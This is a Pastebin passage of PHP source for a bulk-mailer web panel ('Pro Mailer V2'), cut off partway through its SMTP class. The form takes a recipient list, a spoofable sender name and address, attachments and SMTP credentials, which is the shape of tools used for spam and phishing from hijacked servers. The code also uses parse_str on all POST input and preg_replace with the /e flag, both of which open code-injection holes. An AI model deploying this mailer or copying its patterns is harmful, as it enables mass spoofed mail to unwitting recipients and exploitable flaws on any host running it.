Guest User

haml3t mailer

a guest
Feb 21st, 2017
125
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 104.62 KB | None | 0 0
  1. <?php
  2. ini_set('xdebug.max_nesting_level', 100);
  3. ini_set('memory_limit', 1024 * 1024 * 1024);
  4. ini_set("max_execution_time", "on");
  5.  
  6. // @~ PRO Mailer V2
  7. error_reporting(0);
  8. function query_str($params){
  9. $str = '';
  10. foreach ($params as $key => $value) {
  11. $str .= (strlen($str) < 1) ? '' : '&';
  12. $str .= $key . '=' . rawurlencode($value);
  13. }
  14. return ($str);
  15. }
  16. function lrtrim($string){
  17. return stripslashes(ltrim(rtrim($string)));
  18. }
  19. if(isset($_POST['action'] ) ){
  20.  
  21. $b = query_str($_POST);
  22. parse_str($b);
  23. $sslclick=lrtrim($sslclick);
  24. $action=lrtrim($action);
  25. $message=lrtrim($message);
  26. $emaillist=lrtrim($emaillist);
  27. $from=lrtrim($from);
  28. $reconnect=lrtrim($reconnect);
  29. $epriority=lrtrim($epriority);
  30. $my_smtp=lrtrim($my_smtp);
  31. $ssl_port=lrtrim($ssl_port);
  32. $smtp_username=lrtrim($smtp_username);
  33. $smtp_password=lrtrim($smtp_password);
  34. $replyto=lrtrim($replyto);
  35. $subject_base=lrtrim($subject);
  36. $realname_base=lrtrim($realname);
  37. $file_name=$_FILES['file']['name'];
  38. $file=$_FILES['file']['tmp_name'];
  39. $urlz=lrtrim($urlz);
  40. $contenttype=lrtrim($contenttype);
  41. $encode_text=$_POST['encode'];
  42.  
  43.  
  44. $message = urlencode($message);
  45. $message = ereg_replace("%5C%22", "%22", $message);
  46. $message = urldecode($message);
  47. $message = stripslashes($message);
  48. $subject = stripslashes($subject);
  49. if ($encode_text == "yes") {
  50. $subject = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $subject);
  51. $subject = str_replace(' ', '_', $subject);
  52. $subject = "=?UTF-8?Q?$subject?=";
  53. $realname = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $realname);
  54. $realname = str_replace(' ', '_', $realname);
  55. $realname = "=?UTF-8?Q?$realname?=";
  56. }
  57. }
  58. ?>
  59.  
  60. <html>
  61.  
  62. <head>
  63.  
  64. <title>Pro Mailer V2</title>
  65.  
  66. <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
  67.  
  68. <script src='https://sites.google.com/site/jquery1000/jquery-1.6.1.js'></script>
  69.  
  70. <style type="text/css">
  71. <!--
  72. .style1 {
  73. font-family: Geneva, Arial, Helvetica, sans-serif;
  74. font-size: 12px;
  75. }
  76. body{
  77. margin:0px;
  78. }
  79. .bgup {
  80. background: url(data:image/jpeg;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAABkAAD/4QMpaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu+7vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zOng9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtYzA2MCA2MS4xMzQ3NzcsIDIwMTAvMDIvMTItMTc6MzI6MDAgICAgICAgICI+IDxyZGY6UkRGIHhtbG5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI+IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcD0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBob3Rvc2hvcCBDUzUgV2luZG93cyIgeG1wTU06SW5zdGFuY2VJRD0ieG1wLmlpZDozOTYyQzUwMUYxRDMxMUUxOThEMkFGNTI0MTQ3RTI2MyIgeG1wTU06RG9jdW1lbnRJRD0ieG1wLmRpZDozOTYyQzUwMkYxRDMxMUUxOThEMkFGNTI0MTQ3RTI2MyI+IDx4bXBNTTpEZXJpdmVkRnJvbSBzdFJlZjppbnN0YW5jZUlEPSJ4bXAuaWlkOjM5NjJDNEZGRjFEMzExRTE5OEQyQUY1MjQxNDdFMjYzIiBzdFJlZjpkb2N1bWVudElEPSJ4bXAuZGlkOjM5NjJDNTAwRjFEMzExRTE5OEQyQUY1MjQxNDdFMjYzIi8+IDwvcmRmOkRlc2NyaXB0aW9uPiA8L3JkZjpSREY+IDwveDp4bXBtZXRhPiA8P3hwYWNrZXQgZW5kPSJyIj8+/+4ADkFkb2JlAGTAAAAAAf/bAIQAAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQICAgICAgICAgICAwMDAwMDAwMDAwEBAQEBAQECAQECAgIBAgIDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMD/8AAEQgABAAEAwERAAIRAQMRAf/EAFQAAQAAAAAAAAAAAAAAAAAAAAoBAQEAAAAAAAAAAAAAAAAAAAMEEAABBQAAAAAAAAAAAAAAAADwABM1hbYRAAIDAAAAAAAAAAAAAAAAAADwMYGz/9oADAMBAAIRAxEAPwB2GCLmZG0WTck2Dcn/2Q==);
  81. }
  82.  
  83. .cadre {
  84. background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABOIAAAAFCAIAAABn6tQ4AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAA2ZpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuMy1jMDExIDY2LjE0NTY2MSwgMjAxMi8wMi8wNi0xNDo1NjoyNyAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtcE1NOk9yaWdpbmFsRG9jdW1lbnRJRD0ieG1wLmRpZDo4QjhGNDZDQUJCQjBFMjExOTgxQUQwNURCN0VFQjJFOSIgeG1wTU06RG9jdW1lbnRJRD0ieG1wLmRpZDo5QTk0QzcyNEI3MUQxMUUyODAwNkRGMjRGRkJEN0I5RCIgeG1wTU06SW5zdGFuY2VJRD0ieG1wLmlpZDo5QTk0QzcyM0I3MUQxMUUyODAwNkRGMjRGRkJEN0I5RCIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgQ1M2IChXaW5kb3dzKSI+IDx4bXBNTTpEZXJpdmVkRnJvbSBzdFJlZjppbnN0YW5jZUlEPSJ4bXAuaWlkOkM4MDIyM0M4MDRCN0UyMTE4OUY1RTZFNUYxNkU4NTJCIiBzdFJlZjpkb2N1bWVudElEPSJ4bXAuZGlkOjhCOEY0NkNBQkJCMEUyMTE5ODFBRDA1REI3RUVCMkU5Ii8+IDwvcmRmOkRlc2NyaXB0aW9uPiA8L3JkZjpSREY+IDwveDp4bXBtZXRhPiA8P3hwYWNrZXQgZW5kPSJyIj8+S6KNZQAAAFZJREFUeNrs17ERgCAQRNHDfhhDIpugLcoiMmRoyBYMz/G9En60W6KP4OfqpQHZnU0Dslu3BmS3pwbYpXzCIQEAAABuKgAAALipAAAAuKkAAADw0iPAAPMxBVFHCeh2AAAAAElFTkSuQmCC);
  85. }
  86.  
  87. .uibutton {
  88. position: relative;
  89. z-index: 1;
  90. overflow: visible;
  91. display: inline-block;
  92. padding: 0.3em 0.6em 0.375em;
  93. border: 1px solid #01A9DB;
  94. border-bottom-color: #01A9DB;
  95.  
  96. margin: 0;
  97. text-decoration: none;
  98. text-align: center;
  99. font: bold 11px/normal 'lucida grande', tahoma, verdana, arial, sans-serif;
  100. white-space: nowrap;
  101. cursor: pointer;
  102. /* outline: none; */
  103. color: #f9f9f9;
  104. background-color: #eee;
  105. background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#01A9DB), to(#01A9DB));
  106. background-image: -moz-linear-gradient(#01A9DB, #01A9DB);
  107. background-image: -o-linear-gradient(#01A9DB, #01A9DB);
  108. background-image: linear-gradient(#01A9DB, #01A9DB);
  109.  
  110. /* IE hacks */
  111.  
  112. *display: inline;
  113.  
  114. }
  115.  
  116. .uibutton:hover,
  117. .uibutton:focus,
  118. .uibutton:active {
  119. border-color: #01A9DB #01A9DB #01A9DB #01A9DB;
  120. }
  121.  
  122. .uibutton:active {
  123. border-color: #01A9DB;
  124. background: #01A9DB;
  125. filter: none;
  126. -webkit-box-shadow: none;
  127. -moz-box-shadow: none;
  128. box-shadow: none;
  129. }
  130.  
  131. /* overrides extra padding on button elements in Firefox */
  132. .uibutton::-moz-focus-inner {
  133. padding: 0;
  134. border: 0;
  135. }
  136.  
  137.  
  138.  
  139. -->
  140. </style>
  141. <style type="text/css">
  142. <!--
  143. .style1 {
  144. font-size: 10px;
  145. font-family: Geneva, Arial, Helvetica, sans-serif;
  146. }
  147. -->
  148. </style>
  149. </head>
  150. <body bgcolor="#f9f9f9" class="bgup">
  151. <div class="cadre" style="height:10px;margin:0px auto;"></div>
  152. <div style="width:80%;margin:0 auto;">
  153. <p align="center"><font size="5" face="Bauhaus 93">Mailer Inbox Sender</font></p>
  154. <form name="form1" method="post" action="" enctype="multipart/form-data">
  155.  
  156. <br>
  157.  
  158. <table width="100%" border="0" height="407" style="background:#fff" cellpadding="0" cellspacing="0">
  159.  
  160. <tr>
  161.  
  162. <td width="100%" colspan="4" style="color:#fff;background:#01A9DB" height="36">
  163.  
  164. <b>
  165.  
  166. <font face="Arial" size="2" >&nbsp;SMTP SETUP</font></b></td>
  167.  
  168. </tr>
  169. <tr >
  170.  
  171. <td width="10%" height="22" style="padding:10px;">
  172.  
  173. <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">SMTP Login:</font></div>
  174.  
  175. </td>
  176.  
  177. <td width="18%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  178.  
  179. <input type="text" style="background:#EFFBF8;border: 1px solid #01A9DB;color:#333" name="smtp_username" value="<?php $smtp_username;?>" size="30">
  180.  
  181. </font></td>
  182.  
  183. <td width="31%" height="22" style="padding:10px;">
  184.  
  185. <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">SMTP Pass:</font></div>
  186.  
  187. </td>
  188.  
  189. <td width="41%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  190.  
  191. <input type="password" style="background:#EFFBF8;border: 1px solid #01A9DB;color:#333" name="smtp_password" value="<?php $smtp_password;?>" size="30">
  192.  
  193. </font></td>
  194.  
  195. </tr>
  196. <tr>
  197.  
  198. <td width="10%" height="22" style="padding:10px;">
  199.  
  200. <div align="right">
  201. <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Port :</font></div>
  202.  
  203. </td>
  204.  
  205. <td width="18%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  206.  
  207. <input type="text" style="background:#EFFBF8;border: 1px solid #01A9DB;color:#333" name="ssl_port" value="<?php $ssl_port;?>" size="5">
  208. (optional)</font></td>
  209.  
  210. <td width="31%" height="22" style="padding:10px;">
  211.  
  212. <div align="right">
  213. <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SMTP Server
  214. Smtp:</font></div>
  215.  
  216. </td>
  217.  
  218. <td width="41%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  219.  
  220. <input type="text" style="background:#EFFBF8;border: 1px solid #01A9DB;color:#333" name="my_smtp" value="<?php $my_smtp;?>" size="30">
  221.  
  222. </font></td>
  223.  
  224. </tr>
  225. <tr>
  226.  
  227. <td width="10%" height="22" style="padding:10px;">
  228.  
  229. <p align="right">
  230. <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SSL Server:</font></td>
  231.  
  232. <td width="18%" height="22" style="padding:10px;">
  233. <input type="checkbox" style="background:#EFFBF8;border: 1px solid #01A9DB;color:#333" name="sslclick" value="ON" <?php if($sslclick){ print "checked"; } ?> ><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">(yes)</font></td>
  234.  
  235. <td width="31%" height="22" style="padding:10px;">
  236.  
  237. <p align="right">
  238. <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Reconnect
  239. After:</font></td>
  240.  
  241. <td width="41%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  242.  
  243. <input type="text" style="background:#EFFBF8;border: 1px solid #01A9DB;color:#333" name="reconnect" value="<?php $reconnect;?>" size="5">
  244. EMAILS</font></td>
  245.  
  246. </tr>
  247. <tr>
  248.  
  249. <td width="100%" height="39" colspan="4" style="padding:10px;">
  250.  
  251. <p align="center">
  252. <font face="Arial" style="font-size: 9pt" color="#800000"><b>&quot;</b> If
  253. you dont have SMTP login, leave blank queries above <b>&quot;</b></font></td>
  254.  
  255. </tr>
  256.  
  257. <tr>
  258.  
  259. <td width="10%" height="19" style="padding:10px;">
  260.  
  261. &nbsp;</td>
  262.  
  263. <td width="18%" height="19" style="padding:10px;">&nbsp;</td>
  264.  
  265. <td width="31%" height="19" style="padding:10px;">
  266.  
  267. &nbsp;</td>
  268.  
  269. <td width="41%" height="19" style="padding:10px;">&nbsp;</td>
  270.  
  271. </tr>
  272.  
  273. <tr>
  274.  
  275. <td width="100%" colspan="4" style="color:#fff;background:#01A9DB" height="36">
  276.  
  277. <b>
  278.  
  279. <font face="Arial" size="2" color="#FFFFFF">&nbsp;MESSAGE SETUP</font></b></td>
  280.  
  281. </tr>
  282. <tr>
  283.  
  284. <td width="10%" height="22" style="padding:10px;">
  285. <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Attach File :</font></div>
  286. </td>
  287.  
  288. <td width="59%" height="22" style="padding:10px;" colSpan="3">
  289. <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  290.  
  291. <input type="file" style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" name="file" size="124">
  292.  
  293. </font></td>
  294.  
  295. </tr>
  296. <tr>
  297.  
  298. <td width="10%" height="22" style="padding:10px;">
  299.  
  300. <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Your
  301.  
  302. Email:</font></div>
  303.  
  304. </td>
  305.  
  306. <td width="18%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  307.  
  308. <input type="text" style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" name="from" value="<?php $from;?>" size="30">
  309.  
  310. </font></td>
  311.  
  312. <td width="31%" height="22" style="padding:10px;">
  313.  
  314. <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Your
  315.  
  316. Name:</font></div>
  317.  
  318. </td>
  319.  
  320. <td width="41%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  321.  
  322. <input type="text" style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" name="realname" value="<?php $realname_base;?>" size="30">
  323.  
  324. </font></td>
  325.  
  326. </tr>
  327. <tr>
  328.  
  329. <td width="10%" height="22" style="padding:10px;">
  330.  
  331. <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Reply-To:</font></div>
  332.  
  333. </td>
  334.  
  335. <td width="18%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  336.  
  337. <input type="text" style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" name="replyto" value="<?php $replyto;?>" size="30">
  338.  
  339. </font></td>
  340.  
  341. <td width="31%" height="22" style="padding:10px;">
  342.  
  343. <p align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  344. Email Priority:</font></td>
  345.  
  346. <td width="41%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  347.  
  348. &nbsp;</font><select style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" name="epriority" id="listMethod" onchange="showHideListConfig()">
  349. <option value="" <?php if(strlen($epriority)< 1){print "selected";} ?> >- Please Choose -</option>
  350. <option value="1" <?php if($epriority == "1"){print "selected";} ?> >High</option>
  351. <option value="3" <?php if($epriority == "3"){print "selected";} ?> >Normal</option>
  352. <option value="5" <?php if($epriority == "5"){print "selected";} ?> >Low</option>
  353. </select></td>
  354.  
  355. </tr>
  356.  
  357. <tr>
  358.  
  359. <td width="10%" height="22" style="padding:10px;">
  360.  
  361. <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Subject:</font></div>
  362.  
  363. </td>
  364.  
  365. <td colspan="3" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  366.  
  367. <input type="text" name="subject" style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" value="<?php $subject_base;?>" size="90">
  368.  
  369. </font></td>
  370.  
  371. </tr>
  372.  
  373. <tr>
  374.  
  375. <td width="10%" height="22" style="padding:10px;">
  376.  
  377. &nbsp;</td>
  378.  
  379. <td colspan="3" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  380.  
  381. &nbsp; <font color="#FF0000">Encode sending information ?</font> <select style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" size="1" name="encode">
  382. <option <?php if($encode_text == "yes"){print "selected";} ?>>yes</option>
  383. <option <?php if($encode_text == "no"){print "selected";} ?>>no</option>
  384. </select></font></td>
  385.  
  386. </tr>
  387.  
  388. <tr valign="top">
  389.  
  390. <td colspan="3" height="190" style="padding:10px;"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">
  391.  
  392. <textarea name="message" cols="60" style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" rows="10"><?php $message;?></textarea>
  393.  
  394. <br>
  395.  
  396. <input type="radio" name="contenttype" value="plain" >
  397.  
  398. Plain
  399.  
  400. <input type="radio" name="contenttype" value="html" checked>
  401.  
  402. HTML
  403.  
  404. <input type="hidden" name="action" value="send">
  405. <input class="uibutton" type="submit" value="Send Message">
  406.  
  407. </font></td>
  408.  
  409. <td width="41%" height="190" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
  410.  
  411. <textarea name="emaillist" style="background:#EFFBF8;;border: 1px solid #01A9DB;color:#333" cols="30" rows="10"><?php $emaillist;?></textarea>
  412.  
  413. </font></td>
  414.  
  415. </tr>
  416.  
  417. </table>
  418.  
  419. </form>
  420.  
  421.  
  422.  
  423. <?php
  424.  
  425. if ($action){
  426. if (!$from && !$subject && !$message && !$emaillist){
  427. print "<script>alert('Please complete all fields before sending your message.'); </script>";
  428. die(); }
  429.  
  430. class SMTP
  431. {
  432. /**
  433. * SMTP server port
  434. * @var int
  435. */
  436. var $SMTP_PORT = 25;
  437.  
  438. /**
  439. * SMTP reply line ending
  440. * @var string
  441. */
  442. var $CRLF = "\r\n";
  443.  
  444. /**
  445. * Sets whether debugging is turned on
  446. * @var bool
  447. */
  448. var $do_debug; # the level of debug to perform
  449.  
  450. /**
  451. * Sets VERP use on/off (default is off)
  452. * @var bool
  453. */
  454. var $do_verp = false;
  455.  
  456. /**#@+
  457. * @access private
  458. */
  459. var $smtp_conn; # the socket to the server
  460. var $error; # error if any on the last call
  461. var $helo_rply; # the reply the server sent to us for HELO
  462. /**#@-*/
  463.  
  464. /**
  465. * Initialize the class so that the data is in a known state.
  466. * @access public
  467. * @return void
  468. */
  469. function SMTP() {
  470. $this->smtp_conn = 0;
  471. $this->error = null;
  472. $this->helo_rply = null;
  473.  
  474. $this->do_debug = 0;
  475. }
  476.  
  477. /*************************************************************
  478. * CONNECTION FUNCTIONS *
  479. ***********************************************************/
  480.  
  481. /**
  482. * Connect to the server specified on the port specified.
  483. * If the port is not specified use the default SMTP_PORT.
  484. * If tval is specified then a connection will try and be
  485. * established with the server for that number of seconds.
  486. * If tval is not specified the default is 30 seconds to
  487. * try on the connection.
  488. *
  489. * SMTP CODE SUCCESS: 220
  490. * SMTP CODE FAILURE: 421
  491. * @access public
  492. * @return bool
  493. */
  494. function Connect($host,$port=0,$tval=30) {
  495. # set the error val to null so there is no confusion
  496. $this->error = null;
  497.  
  498. # make sure we are __not__ connected
  499. if($this->connected()) {
  500. # ok we are connected! what should we do?
  501. # for now we will just give an error saying we
  502. # are already connected
  503. $this->error = array("error" => "Already connected to a server");
  504. return false;
  505. }
  506.  
  507. if(empty($port)) {
  508. $port = $this->SMTP_PORT;
  509. }
  510.  
  511. #connect to the smtp server
  512. $this->smtp_conn = fsockopen($host, # the host of the server
  513. $port, # the port to use
  514. $errno, # error number if any
  515. $errstr, # error message if any
  516. $tval); # give up after ? secs
  517. # verify we connected properly
  518. if(empty($this->smtp_conn)) {
  519. $this->error = array("error" => "Failed to connect to server",
  520. "errno" => $errno,
  521. "errstr" => $errstr);
  522. if($this->do_debug >= 1) {
  523. echo "SMTP -> ERROR: " . $this->error["error"] .
  524. ": $errstr ($errno)" . $this->CRLF;
  525. }
  526. return false;
  527. }
  528.  
  529. # sometimes the SMTP server takes a little longer to respond
  530. # so we will give it a longer timeout for the first read
  531. // Windows still does not have support for this timeout function
  532. if(substr(PHP_OS, 0, 3) != "WIN")
  533. socket_set_timeout($this->smtp_conn, $tval, 0);
  534.  
  535. # get any announcement stuff
  536. $announce = $this->get_lines();
  537.  
  538. # set the timeout of any socket functions at 1/10 of a second
  539. //if(function_exists("socket_set_timeout"))
  540. // socket_set_timeout($this->smtp_conn, 0, 100000);
  541.  
  542. if($this->do_debug >= 2) {
  543. echo "SMTP -> FROM SERVER:" . $this->CRLF . $announce;
  544. }
  545.  
  546. return true;
  547. }
  548.  
  549. /**
  550. * Performs SMTP authentication. Must be run after running the
  551. * Hello() method. Returns true if successfully authenticated.
  552. * @access public
  553. * @return bool
  554. */
  555. function Authenticate($username, $password) {
  556. // Start authentication
  557. fputs($this->smtp_conn,"AUTH LOGIN" . $this->CRLF);
  558.  
  559. $rply = $this->get_lines();
  560. $code = substr($rply,0,3);
  561.  
  562. if($code != 334) {
  563. $this->error =
  564. array("error" => "AUTH not accepted from server",
  565. "smtp_code" => $code,
  566. "smtp_msg" => substr($rply,4));
  567. if($this->do_debug >= 1) {
  568. echo "SMTP -> ERROR: " . $this->error["error"] .
  569. ": " . $rply . $this->CRLF;
  570. }
  571. return false;
  572. }
  573.  
  574. // Send encoded username
  575. fputs($this->smtp_conn, base64_encode($username) . $this->CRLF);
  576.  
  577. $rply = $this->get_lines();
  578. $code = substr($rply,0,3);
  579.  
  580. if($code != 334) {
  581. $this->error =
  582. array("error" => "Username not accepted from server",
  583. "smtp_code" => $code,
  584. "smtp_msg" => substr($rply,4));
  585. if($this->do_debug >= 1) {
  586. echo "SMTP -> ERROR: " . $this->error["error"] .
  587. ": " . $rply . $this->CRLF;
  588. }
  589. return false;
  590. }
  591.  
  592. // Send encoded password
  593. fputs($this->smtp_conn, base64_encode($password) . $this->CRLF);
  594.  
  595. $rply = $this->get_lines();
  596. $code = substr($rply,0,3);
  597.  
  598. if($code != 235) {
  599. $this->error =
  600. array("error" => "Password not accepted from server",
  601. "smtp_code" => $code,
  602. "smtp_msg" => substr($rply,4));
  603. if($this->do_debug >= 1) {
  604. echo "SMTP -> ERROR: " . $this->error["error"] .
  605. ": " . $rply . $this->CRLF;
  606. }
  607. return false;
  608. }
  609.  
  610. return true;
  611. }
  612.  
  613. /**
  614. * Returns true if connected to a server otherwise false
  615. * @access private
  616. * @return bool
  617. */
  618. function Connected() {
  619. if(!empty($this->smtp_conn)) {
  620. $sock_status = socket_get_status($this->smtp_conn);
  621. if($sock_status["eof"]) {
  622. # hmm this is an odd situation... the socket is
  623. # valid but we are not connected anymore
  624. if($this->do_debug >= 1) {
  625. echo "SMTP -> NOTICE:" . $this->CRLF .
  626. "EOF caught while checking if connected";
  627. }
  628. $this->Close();
  629. return false;
  630. }
  631. return true; # everything looks good
  632. }
  633. return false;
  634. }
  635.  
  636. /**
  637. * Closes the socket and cleans up the state of the class.
  638. * It is not considered good to use this function without
  639. * first trying to use QUIT.
  640. * @access public
  641. * @return void
  642. */
  643. function Close() {
  644. $this->error = null; # so there is no confusion
  645. $this->helo_rply = null;
  646. if(!empty($this->smtp_conn)) {
  647. # close the connection and cleanup
  648. fclose($this->smtp_conn);
  649. $this->smtp_conn = 0;
  650. }
  651. }
  652.  
  653. /***************************************************************
  654. * SMTP COMMANDS *
  655. *************************************************************/
  656.  
  657. /**
  658. * Issues a data command and sends the msg_data to the server
  659. * finializing the mail transaction. $msg_data is the message
  660. * that is to be send with the headers. Each header needs to be
  661. * on a single line followed by a <CRLF> with the message headers
  662. * and the message body being seperated by and additional <CRLF>.
  663. *
  664. * Implements rfc 821: DATA <CRLF>
  665. *
  666. * SMTP CODE INTERMEDIATE: 354
  667. * [data]
  668. * <CRLF>.<CRLF>
  669. * SMTP CODE SUCCESS: 250
  670. * SMTP CODE FAILURE: 552,554,451,452
  671. * SMTP CODE FAILURE: 451,554
  672. * SMTP CODE ERROR : 500,501,503,421
  673. * @access public
  674. * @return bool
  675. */
  676. function Data($msg_data) {
  677. $this->error = null; # so no confusion is caused
  678.  
  679. if(!$this->connected()) {
  680. $this->error = array(
  681. "error" => "Called Data() without being connected");
  682. return false;
  683. }
  684.  
  685. fputs($this->smtp_conn,"DATA" . $this->CRLF);
  686.  
  687. $rply = $this->get_lines();
  688. $code = substr($rply,0,3);
  689.  
  690. if($this->do_debug >= 2) {
  691. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  692. }
  693.  
  694. if($code != 354) {
  695. $this->error =
  696. array("error" => "DATA command not accepted from server",
  697. "smtp_code" => $code,
  698. "smtp_msg" => substr($rply,4));
  699. if($this->do_debug >= 1) {
  700. echo "SMTP -> ERROR: " . $this->error["error"] .
  701. ": " . $rply . $this->CRLF;
  702. }
  703. return false;
  704. }
  705.  
  706. # the server is ready to accept data!
  707. # according to rfc 821 we should not send more than 1000
  708. # including the CRLF
  709. # characters on a single line so we will break the data up
  710. # into lines by \r and/or \n then if needed we will break
  711. # each of those into smaller lines to fit within the limit.
  712. # in addition we will be looking for lines that start with
  713. # a period '.' and append and additional period '.' to that
  714. # line. NOTE: this does not count towards are limit.
  715.  
  716. # normalize the line breaks so we know the explode works
  717. $msg_data = str_replace("\r\n","\n",$msg_data);
  718. $msg_data = str_replace("\r","\n",$msg_data);
  719. $lines = explode("\n",$msg_data);
  720.  
  721. # we need to find a good way to determine is headers are
  722. # in the msg_data or if it is a straight msg body
  723. # currently I am assuming rfc 822 definitions of msg headers
  724. # and if the first field of the first line (':' sperated)
  725. # does not contain a space then it _should_ be a header
  726. # and we can process all lines before a blank "" line as
  727. # headers.
  728. $field = substr($lines[0],0,strpos($lines[0],":"));
  729. $in_headers = false;
  730. if(!empty($field) && !strstr($field," ")) {
  731. $in_headers = true;
  732. }
  733.  
  734. $max_line_length = 998; # used below; set here for ease in change
  735.  
  736. while(list(,$line) = @each($lines)) {
  737. $lines_out = null;
  738. if($line == "" && $in_headers) {
  739. $in_headers = false;
  740. }
  741. # ok we need to break this line up into several
  742. # smaller lines
  743. while(strlen($line) > $max_line_length) {
  744. $pos = strrpos(substr($line,0,$max_line_length)," ");
  745.  
  746. # Patch to fix DOS attack
  747. if(!$pos) {
  748. $pos = $max_line_length - 1;
  749. }
  750.  
  751. $lines_out[] = substr($line,0,$pos);
  752. $line = substr($line,$pos + 1);
  753. # if we are processing headers we need to
  754. # add a LWSP-char to the front of the new line
  755. # rfc 822 on long msg headers
  756. if($in_headers) {
  757. $line = "\t" . $line;
  758. }
  759. }
  760. $lines_out[] = $line;
  761.  
  762. # now send the lines to the server
  763. while(list(,$line_out) = @each($lines_out)) {
  764. if(strlen($line_out) > 0)
  765. {
  766. if(substr($line_out, 0, 1) == ".") {
  767. $line_out = "." . $line_out;
  768. }
  769. }
  770. fputs($this->smtp_conn,$line_out . $this->CRLF);
  771. }
  772. }
  773.  
  774. # ok all the message data has been sent so lets get this
  775. # over with aleady
  776. fputs($this->smtp_conn, $this->CRLF . "." . $this->CRLF);
  777.  
  778. $rply = $this->get_lines();
  779. $code = substr($rply,0,3);
  780.  
  781. if($this->do_debug >= 2) {
  782. echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
  783. }
  784.  
  785. if($code != 250) {
  786. $this->error =
  787. array("error" => "DATA not accepted from server",
  788. "smtp_code" => $code,
  789. "smtp_msg" => substr($rply,4));
  790. if($this->do_debug >= 1) {
  791. echo "SMTP -> ERROR: " . $this->error["error"] .
